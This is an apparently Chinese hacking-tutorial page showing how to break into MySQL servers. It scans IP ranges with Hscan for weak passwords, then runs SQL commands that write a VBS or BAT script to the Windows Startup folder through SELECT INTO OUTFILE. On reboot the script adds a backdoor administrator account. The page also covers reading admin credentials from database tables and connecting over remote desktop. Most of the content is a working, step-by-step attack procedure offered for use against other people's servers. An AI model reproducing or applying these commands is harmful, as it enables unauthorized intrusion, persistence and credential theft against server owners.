幽灵学院

专家案例解析:MySQL口令扫描案例

2018-11-09 09:21 来源:网络整理 编辑:幽灵学院  人气:   评论一下

  [导读]MySQL作为一款免费数据库,如今在网络上已被广泛使用,MySQL数据库在攻击难度高于MSSQL数据库,由于在MySQL数据库中不能执行命令。

  通过本案例可以学到:

  (1)了解MySQL数据库服务器

  (2)利用Hscan工具软件来破解MySQL口令

  (3)通过MySQL来提升权限的一种方法

  MySQL作为一款免费数据库,如今在网络上已被广泛使用,MySQL数据库在攻击难度高于MSSQL数据库,由于在MySQL数据库中不能执行命令。通过研究表明可以有三种思路来对MySQL进行攻击,攻击的前提条件是已经获得了MySQL的用户名和密码。

  (1)创建表,并在表中插入vbs脚本,通过导出表命令将vbs脚本导出到程序启动中,当计算机重启时便会执行vbs脚本。

  (2)查看数据库表中的内容,目前使用MySQL数据库的服务器一般跟Web服务器结合紧密,通过查看MySQL数据库中的有关用户以及密码信息的表,特别是拥有管理员的表,然后再结合Webshell等实施控制。

  (3)利用MySQL应用程序漏洞来进行攻击,查看MySQL的版本并利用MySQL溢出等程序对服务器进行溢出攻击。

  本案例中主要介绍第一种和第二种情况,其它情况读者可以自己去尝试。

  1 设置Hscan

  设置扫描IP起始地址和结束地址,然后在扫描模块中选择“MySQL weak”,如图1所示,设置完毕后,在“menu”中选择“start”开始扫描MySQL弱口令。

专家案例解析:MySQL口令扫描案例

图1设置MySQL扫描参数

  2. 查看扫描结果

  扫描结束后,在Hscan左下方区域会显示详细的扫描结果,如图2所示。

专家案例解析:MySQL口令扫描案例

图2MySQL扫描结果

  3. 连接数据库并查看数据库服务器中的数据库

  左键单击选择一条扫描记录,然后单击“connect”命令连接MySQL数据库。在MySQL数据库中,所有的命令都是在Dos提示符下。连接成功后会出现MySQL的提示符,然后再其中输入“show databases;”命令查看数据库服务器中的数据库,如图3所示。

专家案例解析:MySQL口令扫描案例

图3 连接并查看MySQL数据库服务器中的数据库

  &说明

  (1)MySQL数据库开放的端口是3306端口,如果不使用Hscan软件来直接进行连接可以使用MySQL数据库连接命令来执行连接。

  (2)在MySQL中执行命令时需要在每一个语句后面加上“;”才能使命令运行成功。

  (3)在MySQL中有一些常用的命令,“show databases;”命令是查看数据库服务器中的数据库,“show tables;”命令是查看当前数据库中的表,“use databasename;”使用数据库名称为“databasename”的数据库为当前数据库。

  (4)在对被入侵服务器的MySQL发动攻击前,先扫描被入侵服务器的端口开放情况,便于后期控制,一般选择开放23、4899、3389端口的服务器。

  4 创建表并插入vbs脚本到表中

  依次使用以下命令:

  show databases ;

  use test;

  show tables;

  create table a (cmd text);

  insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

  insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnet aspnettest/add"",0)") ;

  insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );

  select * from a;

  完成后如图4所示。

专家案例解析:MySQL口令扫描案例

图4 创建表和插入vbs脚本到表中

  5. 导出vbs脚本到启动

  使用以下命令将刚才在a表中创建的vbs脚本导出到启动选项中。

  select * from a into outfile "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\a.vbs";

  导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误,如图5所示。

专家案例解析:MySQL口令扫描案例

图5 导出脚本错误

  推荐使用以下脚本:

  show databases ;

  use test;

  show tables;

  create table b (cmd text);

  insert into b values ("net user Aspnet 123545345!* /add");

  insert into b values ("net localgroup administrators Aspnet /add");

  insert into b values ("del b.bat");

  select * from b into outfile "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\b.bat";

  该脚本执行后虽然会闪现Dos窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过MySQL连接器连接并执行以上命令后,在“C:Documents and SettingsAll Users「开始」菜单程序启动”目录中会有刚才导出的b.bat脚本文件,如图6所示。

专家案例解析:MySQL口令扫描案例

图 6导出bat脚本到启动选项

  &说明

  在不同的操作系统中“C:Documents and SettingsAll Users「开始」菜单程序启动”目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为:

  select * from b into outfile "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\b.bat";

  6 等待重启和实施控制

  如果该计算机开放了3389端口,则可以直接进行连接;如果将b.bat换成其它bat命令,则可以执行其它命令来实施控制。

  &说明

  (1)拥有MySQL的用户名称和口令后,可以通过查看数据库中的信息来对MySQL数据库服务器实施控制。在本例中通过查看数据库、表以及表中的内容获取了管理员的密码和名称,如图7所示。

专家案例解析:MySQL口令扫描案例

图7查看表中信息

[提醒] 除特别声明外,该内容由( )发布,转载请保留文章出处!
  •  我顶 
  • 点击
  • 收藏